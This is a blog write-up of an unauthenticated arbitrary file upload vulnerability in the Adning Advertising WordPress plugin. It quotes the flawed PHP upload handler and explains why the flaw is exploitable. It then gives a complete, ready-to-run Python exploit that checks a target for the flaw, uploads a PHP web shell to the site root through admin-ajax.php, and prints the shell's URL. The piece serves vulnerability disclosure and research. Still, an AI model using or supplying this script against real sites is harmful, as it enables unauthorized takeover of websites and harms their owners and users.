Wordpress Arbitrary File Upload

Written on December 24, 2020
Author: Dylan Müller

Taking over wordpress sites in seconds using a popular extension known as Adning Advertising.

  1. Overview
  2. Exploit
  3. Demo
  4. Source Code

Overview

Note: This exploit has been published on exploit-db: https://www.exploit-db.com/exploits/49332.

Recently I became aware of an exploit for a popular wordpress extension with more than 8,000 installs according to wordfence.

After scanning the web for a proof of concept (POC) with no luck, I eventually decided to download the plugin source code and develop a POC by myself.

Wordpress is a content management system (CMS) written in PHP that is usually paired with a MySQL database. As such, it inherits all the security vulnerabilities that come with a PHP and SQL backend.

The vulnerable plugin in question is Adning Advertising (adning.com) and the effected versions are reported to be <1.5.6. The plugin allows users to upload advertising banners and manage advertising campaigns. The plugin is located in the base directory: <wp base>/wp-content/plugins/angwp

The first task was to find an older version of the plugin and with a bit of googling managed to stumble on version 1.5.0 for analysis.

After scanning the plugins directory tree I came across the file <plugin base>/include/classes/ADNI_Uploader.php . It was here where I was quite surprised to see the following snippet of code:

public static $version = '2.0.2';
public static $upload_folder = '';
public function __construct() {

	$_spr_upload_ajax_actions = array(
			'_ning_upload_image',
			'_ning_remove_image'
		);

	foreach($_spr_upload_ajax_actions as $ajax_action){
            add_action( 'wp_ajax_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action )));
            add_action( 'wp_ajax_nopriv_' . $ajax_action, array(__CLASS__, str_replace( '-', '_', $ajax_action )));
        }
}

Here the author has defined two AJAX actions, one for image uploads _ning_upload_image and another for deleting images _ning_remove_image. AJAX actions may be invoked with a POST request to admin-ajax.php which is located in <wp base>/wp-admin.

What surprised me was that the author created a wp_ajax_nopriv_ hook to each action, which meant that any unauthenticated user could make AJAX requests and at least theoretically upload or delete images.

However the following snippet for the image upload function _ning_upload_image revealed some interesting peculiarities:

public static function _ning_upload_image()
{
	$_action = isset($_POST['action']) ? $_POST['action'] : '';
	$user_id = isset($_POST['uid']) ? $_POST['uid'] : 0;
	$banner_id = isset($_POST['bid']) ? $_POST['bid'] : 0;
	$max_upload_size = isset($_POST['max_upload_size']) ? $_POST['max_upload_size'] : 100;
	$upload = isset($_POST['upload']) ?  json_decode(stripslashes($_POST['upload']), true) : array();
	$valid_formats = isset($_POST['allowed_file_types']) ? explode(',', $_POST['allowed_file_types']) : array('jpg');
	if( in_array('jpg', $valid_formats) )
	{
		$valid_formats[] = 'jpeg';
	}
	// $max_file_size = 1024*100; //100 kb
	// $max_file_size = 1024000*15; // 15 MB (1 mb = 1000 kb)
	$max_file_size = 1024000*$max_upload_size;

	// $upload_path = $upload_dir.'/'.$upload_folder;
	// $upload_path = $upload_path.$upload_folder;
	$upload_path = $upload['dir'].$upload['folder'];
	$count = 0;

	// Create upload folder if not exists
	if(!is_dir($upload_path)) {
		mkdir($upload_path, 0777, true);
	}

	if(!empty($_FILES['files']))
	{
	...

In declaring valid file upload formats, the author has made the file upload whitelist settable through the allowed_file_types POST parameter. This effectively means that files of any type can be uploaded making this an arbitrary file upload exploit.

Moreover, the file upload path is also user settable through the JSON POST parameter upload, which means we have full control over our file upload location. Often times arbitrary file upload exploits do not provide you with a known destination url for your uploaded shell (due to RNGs) so the fact that we have control over the destination directory is incredibly convenient!

Finally the actual file data to be uploaded may be passed to the files POST parameter.

Exploit

In developing our python exploit, our first task is to determine how we can call _ning_upload_image as an unauthenticated user. Thanks to our wp_ajax_nopriv_ hook calling the relevant AJAX action is as simple as: <base url>/admin-ajax.php?action=_ning_upload_image

For versions < 1.5.6 of the software the following string will be returned when no valid post data is provided: no files found. This string can be used to check if the target host is vulnerable to exploitation.

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text

	if ("no files found" in raw):
		return True;
	else:
		return False;
...

Next the post parameters: allowed_file_types and upload that represent the file whitelist and upload directory respectively need to be sent as a POST request as well as our file data.

The file upload directory is relative to the current php context, for our exploit this is admin-ajax.php which is located in <wp base>/wp-admin and therefore to upload our shell to the website root directory we supply the following JSON data to the upload POST parameter: {"dir" : "../"} . This is then converted into a string using json.dumps

Determining whether our shell has been successfully uploaded is also important and the response received following a successful invocation of the _ning_upload_image action can be used to determine this.

It was noted that upon file upload success the following string formed part of the response text: "success":true and this is what was used to determine a successful state.

files = {'files[]' : open(file_path)}
data = {
  "allowed_file_types" : "php,jpg,jpeg",
  "upload" : json.dumps({"dir" : "../"})
}

print("Uploading Shell...");

response = requests.post(uri, files=files, data=data )
file_name = path.basename(file_path)

if('"success":true' in response.text):
	print("Shell Uploaded!")
	if(base[-1] != '/'):
		base += '/'
		print(base + file_name)
	else:
		print("Shell Upload Failed")
		sys.exit(1)

The full exploit source is shown below:

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("Adning Advertising < 1.5.6 - Arbitrary File Upload")
	print("Author -> space_hen (www.lunar.sh)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.php")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text

	if ("no files found" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = '_ning_upload_image'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'files[]' : open(file_path)}
	data = {
	"allowed_file_types" : "php,jpg,jpeg",
	"upload" : json.dumps({"dir" : "../"})
	}
	print("Uploading Shell...");
	response = requests.post(uri, files=files, data=data )
	file_name = path.basename(file_path)
	if('"success":true' in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + file_name)
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();

Demo

Source Code

The source code for this journal can be found at https://github.com/lunarjournal/adningdb


Questions, comments? Please send a plain-text email to root@lunar.sh with a descriptive subject line and we will try get back to you!

Source: 2020-12-24-wordpress-adning-exploit.md